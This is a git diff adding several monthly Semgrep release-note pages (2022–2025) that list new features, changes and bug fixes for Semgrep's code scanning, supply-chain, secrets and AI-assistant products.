+
+### Removed
+
+* The **Rule board** has been deprecated and removed. To manage findings, use the **Policies page**. See the [Policies documentation](/semgrep-code/policies) for more information.
+
+## Semgrep Supply Chain
+
+* Semgrep Supply Chain now supports pnpm lockfiles (`pnpm-lock.yaml`) version 8 and above.
+* CLI scans now include the following metadata:
+ * Severity
+ * Recommended version to upgrade a dependency to
+
+## Semgrep Assistant (beta)
+
+* A new setting lets you configure where Semgrep Assistant's triage suggestions appear. You can receive Semgrep Assistant messages within your Slack or GitHub PR comments.
+* Added a new drop-down menu to set a minimum autofix confidence level required to display autofix suggestions from Semgrep Assistant.
+
+## Documentation updates
+
+### Added
+* The [Semgrep knowledge base](/kb) is now live. The knowledge base hosts the following information:
+ * Troubleshooting articles
+ * How-to guides and tutorials for specific or custom user needs
+* Added a new document about [Semgrep Assistant](/semgrep-multimodal/overview).
+* Minor updates and corrections.
+
diff --git a/mintlify-docs/release-notes/june-2024.mdx b/mintlify-docs/release-notes/june-2024.mdx
new file mode 100644
index 0000000000..f19600288f
--- /dev/null
+++ b/mintlify-docs/release-notes/june-2024.mdx
@@ -0,0 +1,133 @@
+---
+title: "June 2024"
+description: "June 30, 2024 · 5 min read"
+rss: true
+---
+
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- The Semgrep **Jira integration** is now in **public beta**. Create Jira project tickets from Semgrep AppSec Platform and configure mappings from Semgrep fields to Jira fields. Read the [Jira integration documentation](/semgrep-appsec-platform/jira#enable-the-jira-integration) to learn more.
+ - Assistant remediation guidance is now available in Jira tickets you create. {/* 14994 */}
+ - Added a red Jira ticket icon in the **Findings** page to make it clear when Jira ticket creation fails. {/* 14835 */}
+- The onboarding checklist modal now expands automatically to show more items when you first sign in to Semgrep AppSec Platform. {/* 14987 */}
+- You can now sort projects by name and latest scan by navigating to the **Projects** page and clicking the arrow next to their respective headers. {/* 14923 */}
+
+ 
+
+- **Playground**: Added the `fix` key to structure mode.
+- Added a setup page for Semgrep Managed Scanning. New users are now able to create a source code manager when setting up managed scans for the first time.
+- Added the ability [to define separate path ignores lists](/ignoring-files-folders-code#define-ignored-files-and-folders-in-semgrep-appsec-platform). Users can now define one for Semgrep Code and Supply Chain and another for Semgrep Secrets.
+- Added two additional triage states for all Semgrep products:
+ - Reviewing
+ - Fixing
+
+### Changed
+
+- Updated the **Settings > Integrations** tab with the latest supported integration information. {/*15042 */}
+
+### Fixed
+
+- Previously, users whose access token had expired found themselves redirected back and forth between `/login` and `/orgs/-`, ultimately navigating them to `/login`. This issue has been fixed and the user is now properly redirected based on the state of the access token.
+
+## 💻 Semgrep Code
+
+### Added
+
+- Added support for the `--subdir` command, which enables scanning monorepos in parts. `--subdir` accepts the path to a subdirectory, then runs Semgrep only on the specified subdirectory and ensures that the file links displayed in Semgrep AppSec Platform are correct.
+- Added traces to help debug the performance of tainting. To send traces added in the PR, pass `--trace` and set the environment variable `SEMGREP_TRACE_LEVEL=trace`. To send traces to a local endpoint instead of Semgrep's default endpoint, use `--trace-endpoint`.
+
+### Changed
+
+- Removed URLs at the end of logs generated whenever `semgrep ci --dryrun` is run. Dry runs occur locally without results uploaded to Semgrep AppSec Platform, so the URL is unnecessary.
+
+### Fixed
+
+- Fixed an issue that caused findings to be flagged as **Untriaged** and display the message, "Untriaged by Semgrep because a related issue was untriaged."
+- Fixed an issue with **last seen** scan dates when projects are scanned with individual products, such as Code and Supply Chain, not simultaneously.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- You can now disable Supply Chain PR comments for reachable findings. Navigate to **Settings > Deployment**, and within the **Supply Chain** section, click the **PR/MR Comments** toggle.
+
+### Changed
+
+- The Supply Chain > **Advisories** tab search box now allows you to search by CVE number, such as `CVE-2023-44487`, or GitHub Security Advisory (GHSA) ID.
+
+### Fixed
+
+- Clicking the **Clear filters** button in **Supply Chain > Vulnerabilities** now clears all filters correctly. {/* 15004 */}
+
+## 🤖 Semgrep Assistant
+
+### Added
+
+- Added the Assistant **Analyze** button to Semgrep Code's **Finding Details** page so that users do not have to return to the **Findings** page to trigger Assistant actions.
+- Assistant features have been added to the Jira integration. See [Semgrep AppSec Platform](#-semgrep-appsec-platform) for more information.
+
+### Fixed
+
+- Fixed an issue with Assistant causing long wait times for analysis results.
+
+## 🔐 Semgrep Secrets
+
+### Added
+
+- Added a pop-up confirmation in Semgrep AppSec Platform that enabling historical secrets results in longer scan times.
+
+### Changed
+
+- Changed the details page for Secrets findings to match findings identified by Semgrep Code and Semgrep Supply Chain.
+- Changed Secrets findings to rely on the findings severity instead of rule severity, since a validator can override the latter value.
+
+### Fixed
+
+- Fixed an issue where Semgrep Code incorrectly ran alongside Semgrep Secrets. This occurred when there were files that:
+ - Should be scanned by Semgrep Secrets but ignored by Semgrep Code, and
+ - Contained Python functions with annotations ending in `endpoint`, `route`, `get`, `patch`, `post`, `put`, `delete`, `before_request`, or `after_request`
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- Added the following new documents, articles and sections:
+ - [Why didn't Semgrep ignore the files and folders in the Secrets Path ignores for this project?](http://localhost:3000/kb/semgrep-secrets/per-product-ignore-not-working)
+ - [How to paginate responses from the Semgrep API](/kb/integrations/pagination)
+ - [The `semgrep login` command doesn't redirect to my Semgrep tenant site](/kb/semgrep-appsec-platform/semgrep-login-cli-tenant)
+ - [What does "Act on your behalf" mean?](/kb/semgrep-appsec-platform/act-on-your-behalf)
+- Various documentation presentation updates.
+- Added a %%list of default branch names|default_branch%% that Semgrep uses to identify trunk or mainline branches.
+
+### Changed
+
+- Revised the definitions for the following fields in the API documentation:
+ - State
+ - Status
+ - Triage state
+- Major updates have been made to the following documentation:
+ - [Create Jira tickets](/semgrep-appsec-platform/jira)
+ - [Pro rules](/semgrep-code/pro-rules)
+ - [Notifications](/semgrep-appsec-platform/notifications)
+- Updated [webhook samples](/semgrep-appsec-platform/webhooks#semgrep-findings-object).
+- Site look and feel: minor cosmetic improvements.
+
+### Fixed
+
+- Fixed various broken links.
+- Various troubleshooting documents have been restored and re-edited for clarity and quality.
+
+## 🔧 Semgrep OSS Engine
+
+The following versions of Semgrep OSS Engine were released in June 2024:
+
+
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/june-2025.mdx b/mintlify-docs/release-notes/june-2025.mdx
new file mode 100644
index 0000000000..35f3941202
--- /dev/null
+++ b/mintlify-docs/release-notes/june-2025.mdx
@@ -0,0 +1,138 @@
+---
+title: "June 2025"
+description: "July 18, 2025 · 6 min read"
+rss: true
+---
+
+The following updates were made to Semgrep in June 2025.
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- You can now customize PR and MR comments to provide additional context to the comments generated by Semgrep.
+- Rules validation is now parallelized to improve performance when Semgrep scans use many rule files.
+- Semgrep now respects `ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`, `NO_PROXY`, `PROXY_USERNAME`, and `PROXY_PASSWORD` for all networking, including networking done through the OCaml components. Additionally, the environment variable
+`OCAML_EXTRA_CA_CERTS` now allows additional CA certificates to be used for network operations done by OCaml components.
+
+### Changed
+
+- The **Sign up** and **Log in** page has been redesigned.
+- The **Finding details** page has been redesigned and unified across all Semgrep products.
+- The **Settings > Deployment** page in Semgrep AppSec Platform has been removed and reorganized into a **General** page that features sub-tabs for individual uses and Semgrep products.
+- Search and pagination on the **Settings > Source code managers** page have been improved, resulting in better load times and smoother navigation.
+- Restored links to the same finding on other branches on the finding's details pages.
+- **Jira**:
+ - Semgrep AppSec Platform now displays information about Jira ticket creation in the **Activity** section of the **Finding details** page. You can check if a ticket was successfully created or if an error occurred during ticket creation.
+ - Semgrep organization members can now create Jira tickets for findings.
+
+### Fixed
+
+- Fixed an issue where `semgrep ci` logs in GitLab return incorrect URLs with the wrong `&ref=...` argument.
+- Fixed an issue where Semgrep Managed Scan was enabled on projects tagged as `local_scan`.
+- Fixed an issue where scan logs show that pull request or merge request comments were successfully posted when the comments were not posted.
+- Fixed an issue where Semgrep AppSec Platform did not account for community seats when calculating license usage.
+- `nosemgrep` ignore comments no longer require exactly one leading space, allowing for more commenting styles.
+- The Semgrep findings returned by the Semgrep Language Server (LSP) are now sorted correctly based on their location within files. This benefits the Semgrep IDE extensions, including VSCode and IntelliJ.
+- Various UI fixes.
+
+## 💻 Semgrep Code
+
+### Added
+
+- Added type inference for `mod`, floor division, and `pow`.
+
+### Changed
+
+- JSON output now includes basic profiling data.
+
+### Fixed
+
+- Fixed an issue where taint rules that use the experimental feature *labels* and specify sinks with a `requires:` of the form `not A` could produce findings with an empty list of traces, potentially causing Semgrep to crash.
+- Fixed an issue where the empty Python fstring `f""` wasn't matched by the pattern `...`.
+- Fixed an issue where a multiplication expression of `int` isn't considered an `int`.
+- Fixed an issue where `2 * groups` isn't considered an `int` when `groups` is an `int`.
+- **Go**: fixed an issue where `case` statements with ellipses didn't match patterns correctly.
+- **JavaScript**: fixed an issue where JavaScript autofix code suggestions break syntax for `if` statements by consuming parentheses.
+- **Python**: fixed a regression that could cause naming to take a disproportionate amount of time, significantly slowing down scans.
+- **TypeScript**: fixed an issue with stack overflow and out-of-memory issues when parsing TypeScript configurations.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- Support for **PHP** reachability is now in **public beta**, which means that Semgrep offers 98% coverage for **Critical** severity issues, plus some coverage for **High** severity issues.
+- You can now customize Supply Chain policies using CVEs as a filtering condition.
+- Policies now accept custom CVE options to allow the selection of CVEs for which there are no current findings associated.
+- Scan logs now report dependency resolution errors that result from local builds by default.
+- Added the reporting of subproject dependency resolution to JSON output.
+- **C#**:
+ - [Dependency Paths](/semgrep-supply-chain/dependency-search#view-the-dependency-path) for C# projects using NuGet are now in **public beta**.
+ - Dependency parsing now handles dependencies with `Project` transitivities.
+ - Semgrep can scan NuGet codebases without the need for a lockfile. This feature is in **public beta**.
+
+### Changed
+
+- The filter for malicious dependency findings are now included in the existing **Reachability** filter.
+
+### Fixed
+
+- Fixed an issue where missing version constraints in `yarn.lock` descriptors caused parsing errors.
+- Fixed an issue where packages were misidentified by adding support for npm aliasing in package-lock.json.
+- Fixed an issue where Jira tickets weren't created for some Supply Chain findings.
+- Fixed an issue where archived repositories were accidentally scanned by Semgrep Managed Scans for Supply Chain findings.
+- Semgrep no longer parses `build.gradle.kts` files as `build.gradle`.
+
+## 🤖 Semgrep Assistant
+
+### Added
+
+- Memories can now be scoped to a rule's vulnerability class, which are the same groupings that exist on the policies page.
+- Organization members can suggest memories for approval by admins.
+- Semgrep now sends out emails with information about suggested memories, how many findings each memory affects, and the links to review the memories in Semgrep AppSec Platform.
+
+### Changed
+
+- Organization members can now see memories in addition to admins.
+- Active memories now display the name of the person who authored the triage note that Assistant used to create the memory.
+- Memories created by Semgrep are now labeled as created by Assistant.
+
+### Fixed
+
+- Fixed an issue where changes made to the **Allowed AI providers** dialog weren't saved.
+
+## 🔐 Semgrep Secrets
+
+### Added
+
+- You can now create memories for generic secrets, allowing you to create and apply custom rules for secret detection through Assistant.
+
+### Fixed
+
+- Fixed an issue where files excluded in `.semgrepignore` were also applied to Secrets scans. Semgrep now scans files that have been excluded from Code and Supply Chain scans for leaked secrets.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+
+
+
+
+
+
+### Fixed
+
+Minor corrections and typo fixes.
+
+## 🔧 OSS Engine
+
+* The following versions of the OSS Engine were released in June 2025:
+
+
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/march-2022.mdx b/mintlify-docs/release-notes/march-2022.mdx
new file mode 100644
index 0000000000..125e2af6f0
--- /dev/null
+++ b/mintlify-docs/release-notes/march-2022.mdx
@@ -0,0 +1,164 @@
+---
+title: "March 2022"
+description: "March 30, 2022 · 4 min read"
+rss: true
+---
+
+
+## Version 0.86.5
+
+### Additions
+
+#### Semgrep findings available in two GitLab formats
+
+Semgrep can now output findings in the following formats:
+
+- GitLab SAST report format with `--gitlab-sast`.
+- GitLab secret detection report format with `--gitlab-secrets`.
+
+#### JSON output fingerprint of each finding
+
+JSON output now includes a fingerprint of each finding. This fingerprint remains consistent when scanned code is just moved or reindented.
+
+#### Go improvement
+
+Use latest `tree-sitter-go` with support for Go 1.18 generics. ([#4823](https://github.com/semgrep/semgrep/issues/4823))
+
+#### Terraform support
+
+Basic support for constant propagation of locals and variables. ([#1147](https://github.com/semgrep/semgrep/issues/1147), [#4816](https://github.com/semgrep/semgrep/issues/4816))
+
+#### Ellipsis metavariable in HTML
+
+You can now use metavariable ellipsis inside a ``. ([#4841](https://github.com/semgrep/semgrep/issues/4841))
+
+#### Semgrep CI is now a part of Semgrep CLI
+
+You can now run Semgrep CI with `semgrep ci` subcommand that auto-detects settings from your CI environment and can upload findings to Semgrep App when logged in.
+
+### Changes
+
+#### SARIF output
+
+SARIF output includes matching code snippet ([#4812](https://github.com/semgrep/semgrep/issues/4812))
+
+#### Python wheel
+
+Removed tests from published Python wheel.
+
+#### Findings comparison changes
+
+Findings are now considered identical between baseline and current scans, meaning that:
+
+- Two findings are now identical after whitespace changes such as re-indentation.
+- Two findings are now identical after a nosemgrep comment is added.
+- Findings are now different if the same code triggered them on different lines.
+
+#### Semgrep docker image running as root
+
+Docker image now runs as root to allow the docker image to be used in CI/CD pipelines.
+
+#### XDG Base Directory
+
+Semgrep now supports XDG Base Directory specification format. ([#4818](https://github.com/semgrep/semgrep/issues/4818))
+
+### Additional information
+
+To see the complete change notes, visit the [Semgrep changelog](https://github.com/semgrep/semgrep/releases/).
+
+## Version 0.85.0
+
+### Additions
+
+#### C improvement
+
+Semgrep uses the latest tree-sitter-c-sharp with support for most C 10.0 features.
+
+#### HTML improvement
+
+Support for metavariables on tags (for example: `<$TAG>...$TAG>`). ([#4078](https://github.com/semgrep/semgrep/issues/4078))
+
+#### Scala improvement
+
+The data-flow engine now handles expression blocks. Previously, Semgrep did not report some false negatives when run with taint analysis on expression blocks, which are now reported.
+
+#### Dockerfile improvement
+
+Allow for example `CMD …` to match both `CMD ls` and `CMD ["ls"]`. ([#4770](https://github.com/semgrep/semgrep/issues/4770))
+
+#### Semgrep informs about used rules for multiple languages
+
+When scanning multiple languages, Semgrep now prints a table of how many rules and files are used for each language.
+
+### Changes
+
+#### File targeting logic
+
+The following inconsistencies were fixed: ([#4776](https://github.com/semgrep/semgrep/pull/4776))
+
+#### Explicitly targeted files are now unaffected by global filters
+
+Previously, explicitly targeted files (files that are directly passed to the command line) were unaffected by most global filters: global include or exclude patterns, and the file size limit. Now, the `.semgrepignore` patterns do not affect explicitly targeted files as well.
+
+#### Semgrep scans with `--skip-unknown-extensions` flag now use shebang
+
+Previously, `--skip-unknown-extensions` skipped files based only on file extension, even though extensionless shell scripts expose their language through the shebang of the first line. As a result, when you set `--skip-unknown-extensions` flag, Semgrep always skipped explicitly targeted shell files with no extension. Now, Semgrep with said flag decides if a file is a correct language using both extensions and shebangs.
+
+#### Faster scans with `--baseline-commit` flag
+
+These optimizations were added:
+
+- When `--baseline-commit` is set, Semgrep runs the **current scan**, then switches to the `–baseline-commit`, and runs the **baseline scan**. The current scan now excludes files that are unchanged between the baseline and the current commit according to the output of `git status`.
+
+- The **baseline scan** now excludes rules and files that had no matches in the **current scan**.
+
+- When `git ls-files` is unavailable or `--disable-git-ignore` is set, Semgrep walks the file system to find all target files. Semgrep now walks the file system 30% faster compared to previous versions.
+
+#### Improved Semgrep output format
+
+The output format is updated to visually separate lines with headings and indentation.
+
+### Fixes
+
+#### Deep expression matching and metavariable interaction
+
+Semgrep does not stop at the first match and enumerates all possible matches if a metavariable is used in a deep expression pattern (for example: `<... $X ...>`). This fix can introduce performance regressions.
+
+### Additional information
+
+To see the complete change notes, visit the [Semgrep changelog](https://github.com/semgrep/semgrep/releases/tag/v0.85.0).
+
+## Version 0.84.0
+
+### Additions
+
+#### Semgrep CLI lists supported languages
+
+Semgrep CLI now includes `--show-supported-languages` flag to display the list of languages supported by Semgrep. Thanks to John Wu for this contribution! ([#4754](https://github.com/semgrep/semgrep/pull/4754))
+
+#### JSX (JavaScript) improvement
+
+Semgrep CLI now provides the following improvements for JSX (JavaScript extension) scans:
+
+- Semgrep scans for JSX self closing tags (XML elements) such as `` can result in a match of explicitly closed tags, for example: `some child`. You can now disable this behavior by rule options: `xml_singleton_loose_matching: false` (#4730)
+- New rule option `xml_attrs_implicit_ellipsis` that allows you to disable the implicit ellipsis `...` that was added to JSX attributes patterns.
+
+#### Updated validation of rules
+
+The `semgrep --config [file] --validate` now checks for invalid metavariables.
+
+#### The `project-depends-on` now supports more languages
+
+You can now use `r2c-internal-project-depends-on` with lockfiles for Java, Go, Ruby, and Rust. ([#4699](https://github.com/semgrep/semgrep/pull/4699))
+
+#### Improved PHP support
+
+Semgrep now treats TPL files as PHP files. ([#4763](https://github.com/semgrep/semgrep/pull/4763))
+
+#### Improved Scala support
+
+Semgrep CLI now provides the following improvements for Scala language scans:
+
+- Custom string interpolators. ([#4655](https://github.com/semgrep/semgrep/issues/4655))
+- Support for parsing scripts that contain plain definitions outside of an object or class.
+
diff --git a/mintlify-docs/release-notes/march-2023.mdx b/mintlify-docs/release-notes/march-2023.mdx
new file mode 100644
index 0000000000..ccbba34e41
--- /dev/null
+++ b/mintlify-docs/release-notes/march-2023.mdx
@@ -0,0 +1,147 @@
+---
+title: "March 2023"
+description: "March 30, 2023 · 6 min read"
+rss: true
+---
+
+
+## Semgrep OSS Engine
+
+This section of release notes include upgrades of Semgrep OSS Engine for versions ranging between 1.14.0 and 1.16.0.
+
+### Added
+
+- Kotlin: Semgrep OSS Engine now supports typed metavariables in Kotlin. For example, to find all instances of a string type, you can now use the following rule pattern:
+`($X : String)`
+- Scala: Semgrep can now parse programs that contain quoted expressions, context parameter clauses that use the `using` function, and soft modifiers like `inline` and `open`.
+
+ Semgrep can now parse and analyze Scala code that contains matches on types, such as:
+ ```scala
+ type t = K match {
+ case Int => String
+ }
+ ```
+
+- metavariable-comparison: Added support for bitwise operators `~`, `&`, `|`, and `^`.
+- taint-mode: The latest update to `pattern-propagators` in Semgrep OSS Engine introduces two optional fields `requires` and `label`, that work identically to their counterparts in `pattern-sources` and `pattern-sinks`. These fields are part of the experimental taint labels feature for taint analysis.
+
+ For instance, we can define:
+
+ ```yaml
+ pattern-propagators:
+ - pattern: |
+ $TO.foo($FROM)
+ from: $FROM
+ to: $TO
+ requires: A
+ replace-labels: [A, C]
+ label: B
+ ```
+
+ This propagator only propagates if the source `$FROM` has taint label `A`. Additionally, any taints from `$TO` with labels `A` or `C` are converted to have label `B`.
+
+ If you don't specify a `label`, the target `$TO` is tainted with the same label as the taint on `$FROM`. If you don't specify a `requires` field, the propagator does not require the source to have a specific taint label.
+
+ Note that the `replace-labels` field only restricts the label being propagated if you also specify the `label` output.
+
+
+### Changed
+
+- Semgrep’s CLI output has been revamped to better organize scan information and provide more context about scans and findings. Previously, CLI output was minimal without much formatting. With this release, Semgrep CLI now provides headers, tables, scan summaries, and updated, granular data about individual findings and the project it is scanning.
+
+ 
+
+
+ 
+
+- The latest update to`semgrep/semgrep` Docker images removes the custom entry point that was previously used to invoke Semgrep. As a result, you must now explicitly call `semgrep` when running the image. This change was already made approximately a year ago. In this update, the backward compatibility layer and a deprecation notice have been removed.
+
+ Previously, you could scan your code using the `semgrep/semgrep` image by running the following command:
+ ```bash
+ docker run -v $(pwd):/src semgrep/semgrep scan ...
+ ```
+
+ However, this command no longer works. Instead, you must use the following command to achieve the same result:
+ ```bash
+ docker run -v $(pwd):/src semgrep/semgrep semgrep scan ...
+ ```
+
+ By removing the custom entry point, this update provides greater flexibility and consistency in how Semgrep is invoked within Docker containers.
+
+- taint-mode: Previously, Semgrep OSS Engine taint analysis sometimes flagged sinks that did not propagate taint. For example, the `sink(ok if tainted else ok)` was flagged. To address this, we've made taint analysis more precise. Now, sinks like `sink(...)` where you declare that any argument of a given function is a sink. For example:
+
+ ```yaml
+ pattern-sinks:
+ - patterns:
+ - pattern: sink($X, ...)
+ - focus-metavariable: $X
+ ```
+
+ As a result, `sink(ok1 if tainted else ok2)`, `sink(not_a_propagator(tainted))`, and
+ `sink(some_array[tainted])`, are not be reported as findings.
+
+
+- The `-gitlab-sast` and `-gitlab-secrets` output formats have been upgraded. The output is now valid with the GitLab v15 schema, while staying valid with the GitLab v14 schema as well. Code findings now include the confidence of the rule.
+
+## Semgrep Code
+
+### Added
+
+- **Pro Engine beta** toggle is enabled by default in the [Semgrep Editor](https://semgrep.dev/orgs/-/editor/) and [Semgrep Playground](https://semgrep.dev/playground). Rules can still run with the Semgrep OSS Engine if `interfile: true` is not specified in the rule.
+- Findings from Pro rules or Semgrep Pro Engine are now labeled with a gem icon to let you know where the finding has come from.
+
+ 
+
+
+
+## Semgrep Pro Engine
+
+### Added
+
+- Previously, when installing Semgrep Pro Engine, Semgrep CLI downloaded the most recently released version of Semgrep Pro Engine. As a consequence, this version of Semgrep Pro Engine might not have been the most compatible version with Semgrep OSS Engine. With this update, the most compatible version of Semgrep Pro Engine with Semgrep OSS Engine is downloaded during the installation.
+
+ This behavior is only supported for Semgrep version 1.12.1 and later. Previous versions still download the most recently released version, as before.
+
+- taint-mode: Semgrep Pro Engine’s taint analysis capabilities for Java now include support for basic field sensitivity through getters and setters. If you call `obj.setX(tainted)`, Semgrep can now identify that a subsequent call to `obj.getX()` will carry the same taint as `tainted`. Moreover, Semgrep can differentiate between different fields accessed by the getters and setters, such as `obj.getX()` and `obj.getY()`.
+
+ It's important to note that Semgrep Pro Engine doesn't examine the definitions of the getter and setter methods, and it doesn't know whether other methods like `obj.clearX()` clear the taint that `obj.setX(tainted)` adds. Nonetheless, this new feature enables Semgrep to detect vulnerabilities more accurately in tainted data flow in Java code.
+
+
+### Changed
+
+- CI scans that use Semgrep Pro Engine now run intrafile and cross-function (interprocedural) taint analysis by default in differential scans (such as PR or MR scans). Note that cross-file (interfile) analysis is not run in differential scans for performance reasons.
+
+## Semgrep Cloud Platform
+
+### Added
+
+- For organizations with role-based access control (RBAC) enabled, members are now able to [log in through the CLI](/deployment/tokens) and send findings data from their local machine to the Semgrep Cloud Platform.
+
+## Semgrep Supply Chain
+
+### Added
+
+- You can now receive Semgrep Supply Chain notifications in your Slack channel. Be notified of **reachable vulnerabilities** as soon as a scan finishes. Sign in to Semgrep Cloud Platform and click Settings > Integrations > Add integration > Slack and follow the instructions to start setting up your Slack notifications.
+
+### Changed
+
+- Previously, Semgrep Supply Chain used `go.sum` files to read Go dependencies. Semgrep Supply Chain now uses `go.mod` files.
+- Supply Chain findings now include the exposure type. Exposure types can be any of the following values:
+ - Reachable — this type of exposure means that the finding has detected a vulnerable dependency **and** the vulnerable code is used in your codebase. Additionally, the **inclusion** of certain severely vulnerable packages such as `log4j` is also categorized as a reachable exposure even without the vulnerable code’s usage within your codebase.
+ - Unreachable — this type of exposure means that the finding has detected a vulnerable dependency but the vulnerable code is not used in your codebase.
+ - Undetermined — Reachability analysis has not been performed on this finding, therefore its exposure is undetermined.
+- Historical rules (also known as parity rules) are now enabled by default for new personal and organizational accounts. Existing organizations can reach out to [support@semgrep.com](mailto:support@semgrep.com) to enable parity rules by default.
+- Semgrep Supply Chain scans now understand `maven_dep_tree.txt` files that are made of multiple smaller `maven_dep_tree.txt` files concatenated with`cat`. To make use of this functionality, create a script or command using the `cat` command as a step in your CI pipeline.
+
+## Documentation
+
+### Added
+
+- Created a new section on [Member scoped access tokens](/deployment/tokens).
+
+### Changed
+
+- Updated [Tagging projects](/semgrep-appsec-platform/tags) document.
+- Expanded, clarified, and improved licensing information in [FAQs](/faq/overview#how-are-semgrep-and-its-rules-licensed). See sections such as [I’m a security professional. Do I have to pay for Semgrep?](/faq/overview#im-a-security-professional-do-i-have-to-pay-for-semgrep) or [Can I ship my own code analysis software that uses Semgrep?](/faq/overview#can-i-ship-my-own-code-analysis-software-that-uses-semgrep-ce).
+- Updated [Private rules](/writing-rules/private-rules) documentation. Added section about [Creating private rules](/writing-rules/private-rules/#creating-private-rules) and [Deleting private rules](/writing-rules/private-rules/#deleting-private-rules).
+
diff --git a/mintlify-docs/release-notes/march-2024.mdx b/mintlify-docs/release-notes/march-2024.mdx
new file mode 100644
index 0000000000..6998c2bfbe
--- /dev/null
+++ b/mintlify-docs/release-notes/march-2024.mdx
@@ -0,0 +1,153 @@
+---
+title: "March 2024"
+description: "March 30, 2024 · 6 min read"
+rss: true
+---
+
+
+## 🔧 OSS Engine
+
+* The following versions of the OSS Engine were released in March 2024:
+
+
+
+
+
+
+
+
+
+
+## 🌐 Cloud Platform
+
+### Added
+
+- The **Add to policy** button in the **Playground** can now differentiate between custom Code and Secrets rules. When you click **Add to policy**, it detects which type of rule you have written and adds the rule to the corresponding policy board.
+
+### Fixed
+
+- Fixed a bug in which users couldn't claim a license if they only had one organization.
+- **Visual Studio Code extension:** fixed an issue where rules weren't downloaded to the user's machine, which resulted in no findings detected.
+- Minor UI and in-app copy fixes in the following:
+ - Editor
+ - Settings page
+ - Tutorial page
+ - Onboarding process
+- Fixed a bug in which users were sometimes unable to delete their SSO configuration.
+
+## 💻 Code
+
+### Added
+
+- Added support for Python's `yield` keyword, enabling the detection of taint findings from taint sources returned by `yield`.
+- Added ability for users to copy file paths displayed in Semgrep Cloud Platform's **Findings** page if they aren't links.
+- Added the ability for users to see if there's a version of a rule they're currently using that supports interfile analysis.
+- Added **Clear filters** button when no findings appear in the **Findings** page after the user has set some filters.
+- **API**: added ability to get rules metadata from the API.
+
+### Changed
+
+- Code analysis started by logged-in users running `semgrep ci` now includes cross-function (intrafile) analysis by default. This change affects CI jobs and CLI scans.
+- `.phtml` files are now processed as PHP files and analyzed using PHP rules.
+- Updated PR comments to include links to specific findings in Semgrep Cloud Platform.
+- Users can see all projects, even if they don't have any identified findings, in the **Most findings** list on Semgrep Cloud Platform's **Dashboard** page.
+- Semgrep Code now distinguishes between findings **resolved by rule changes** and findings **resolved due to code modifications**. This change applies only to new findings.
+ - Only findings fixed due to **code modifications** are marked as **fixed**.
+ - The fix rate calculated by Semgrep Code now includes only such findings.
+ - Findings fixed due to rule changes are marked as **resolved**.
+- **CLI**: Semgrep clones the repository into the current working directory instead of a `tmp` folder when using the `--remote` flag.
+
+### Fixed
+
+- **Kotlin**: Fixed a parsing error when a newline appears between the class name and the primary constructor.
+- Fixed an issue where autofix on variable definitions could not handle semicolons for Java, C++, C#, Rust, Cairo, Solidity, and Dart.
+- Fixed an issue with autofix application on lines with multi-byte characters.
+- Fixed issue where credentials were inadvertently included in a project URL when publishing a custom rule using `semgrep publish`. Running `semgrep publish` generates a `rule-origin-note`, which includes the project URL in the metadata. When this process occurs in a GitLab CI job, GitLab includes the CI job tokens in the project URL. Semgrep now removes the credential from the metadata.
+- Fixed an issue where reachability rules were deleted from Semgrep Registry.
+- Fixed an issue where the timestamp on the findings didn't correspond to the timestamp used by the filter; now, both use the `relevant_since` filter, which provides information about when findings were last reopened.
+
+## ⛓️ Supply Chain
+
+### Added
+
+- Supply Chain now offers [lockfile-only support](/supported-languages/#semgrep-supply-chain) for Swift projects.
+
+### Changed
+
+- Findings with a **critical** severity now display in Semgrep Cloud Platform with a darker red color to help distinguish them from high-severity findings.
+- Findings are now displayed in Semgrep Cloud Platform with readable names, such as `git-url-parse: Inefficient Regular Expression Complexity` instead of `lodash.defaultsdeep: Improper Input Validation`.
+
+### Fixed
+
+- Fixed an issue where bulk triage didn't work in Semgrep Cloud Platform for Supply Chain findings.
+- Fixed an issue where Supply Chain rules and findings erroneously display a confidence label.
+
+## 🤖 Assistant
+
+Semgrep Assistant is **now generally available (GA)**. Read [the docs](/semgrep-multimodal/overview/) and the [ blog post](https://semgrep.dev/blog/2024/assistant-ga-launch).
+
+### Added
+
+- Added the **Agree** and **Ignore** buttons to the **No grouping** view in the **Semgrep Cloud Platform > Code** page.
+- Added the AI **component tags** in the **Finding details** page and **No grouping** view.
+- Added the ability to use AI to generate Semgrep rules (beta). To try this feature:
+
+ i. Navigate to the [ Editor](https://semgrep.dev/orgs/-/editor) and click on the ** black square with white circle plus sign**.
+
+ ii. Select **...with Semgrep Assistant (beta)** from the drop-down box.
+
+ 
+
+
+
+### Changed
+
+- Improvements to in-app copy and UI.
+
+## 🔐 Secrets
+
+### Added
+
+- Historical scanning is now available as a **public beta** feature. [ Historical scanning](/semgrep-secrets/historical-scanning/) allows users to find valid secrets in their Git commit history. To enable this feature:
+
+ i. Log in to Semgrep Cloud Platform.
+
+ ii. Navigate to **Settings** > **Deployments**.
+
+ iii. Under **Secrets**, toggle on **Historical scanning**. Users can also include the `--historical-secrets` flag when running `semgrep ci` in the CLI.
+- Added the ability to view a Secrets rule if there's one that supersedes a Semgrep Code rule with similar functionality. These notifications are available in Semgrep Cloud Platform on:
+ - The **Findings** and **Finding Details** pages
+ - The **Policies** page
+ In addition to the affected findings labeled with **Secrets version available**, users can look for findings using the **Available rule upgrades** filter.
+
+
+### Changed
+
+- Moved the **Settings** page for Secrets from its **Findings** page to **Settings** > **Deployment**.
+
+### Fixed
+
+- Fixed an issue where some Secrets findings were labeled as Code findings.
+- **CLI**: Fixed an issue where there were no warnings if Secrets is enabled, but users have no Secrets rules configured.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- Added the following new documents:
+ - [ Packages in the Semgrep Docker image](/semgrep-ci/packages-in-semgrep-docker/): Lists the packages including in the Semgrep docker image in addition to the Semgrep binary.
+ - [ Semgrep OSS in CI](/deployment/oss-deployment/): A guide to using only open source Semgrep in your CI jobs.
+- New Knowledge base article: [Generate lockfiles for Semgrep Supply Chain in a Circle CI pipeline](/kb/semgrep-supply-chain/ssc-lockfiles-circleci).
